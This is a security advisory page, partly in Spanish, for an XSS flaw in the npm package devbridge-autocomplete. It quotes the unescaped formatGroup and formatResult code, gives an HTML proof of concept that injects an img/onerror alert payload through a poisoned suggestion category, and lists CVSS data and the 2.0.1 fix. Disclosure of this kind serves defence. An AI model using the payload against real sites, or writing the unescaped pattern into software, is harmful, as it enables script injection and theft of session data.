Media

devbridge-autocomplete has XSS in its default formatters: formatGroup and formatResult fail to escape HTML in untrusted inputs

Publicada: 22.06.2026
Actualizado: 11.10.2026 10:22

Summary

The default formatGroup and formatResult functions in devbridge-autocomplete concatenate values into HTML without escaping, allowing XSS when an attacker controls (or can taint) the suggestion data source.

Details

1. formatGroup — category is interpolated raw.

src/format.ts:

function formatGroup(suggestion, category) {
    return '<div class="autocomplete-group">' + category + '</div>';
}

If groupBy is used and the grouping field of any suggestion contains HTML, that HTML is executed.

2. formatResult — early-return branch returns suggestion.value raw.

src/format.ts:

function formatResult(suggestion, currentValue) {
    if (!currentValue) {
        return suggestion.value;   // un-escaped
    }
    /* ... non-empty path escapes correctly ... */
}

The early-return branch is reached when suggest() renders with an empty currentValue, which happens with minChars: 0 and a server that returns suggestions for an empty query. The returned string is concatenated into the container's innerHTML.

PoC (formatGroup)

html

<!DOCTYPE html>
<html>
<head>
    <meta charset="utf-8">
    <title>PoC: formatGroup XSS in jQuery-Autocomplete v2.0.0</title>
</head>
<body>
    <input id="ac" type="text" placeholder="Type 'a' to trigger" autocomplete="off">

    <script src="https://code.jquery.com/jquery-3.7.1.min.js"></script>
    <script src="dist/jquery.autocomplete.js"></script>
    <script>
        var poisoned = [
            { value: 'Apple',   data: { category: "<img src=x onerror=\"alert('XSS via formatGroup')\">" } },
            { value: 'Avocado', data: { category: 'Safe Group' } }
        ];

        $('#ac').devbridgeAutocomplete({
            lookup: poisoned,
            groupBy: 'category',
            minChars: 1
        });
    </script>
</body>
</html>

Originally identified by an earlier human analysis; the PoC above was produced with the assistance of Claude Opus 4.7.

Impact

XSS in pages that render attacker-controllable suggestion data. The actual impact depends on what the embedding page has access to (cookies, session tokens, DOM), per standard reflected/stored XSS.

Patch

Both formatters now run their interpolated input through the browser's text-node escaping (createElement + textContent) before producing the HTML string. Fixed in version 2.0.1.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

Plataforma	Paquete	Versiones vulnerables	Corregida en
Paquete de npm	devbridge-autocomplete	< 2.0.1	2.0.1

Referencias

Puntuación CVSS 5.4/10

Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
Debilidad (CWE): CWE-79
Plataforma: npm
Paquete: devbridge-autocomplete
Publicada: 22.06.2026
Actualizado: 11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-hvqh-jw65-wcpq - CC BY 4.0

Historial de vulnerabilidades: devbridge-autocomplete

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Esta es la única vulnerabilidad conocida de este paquete.

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación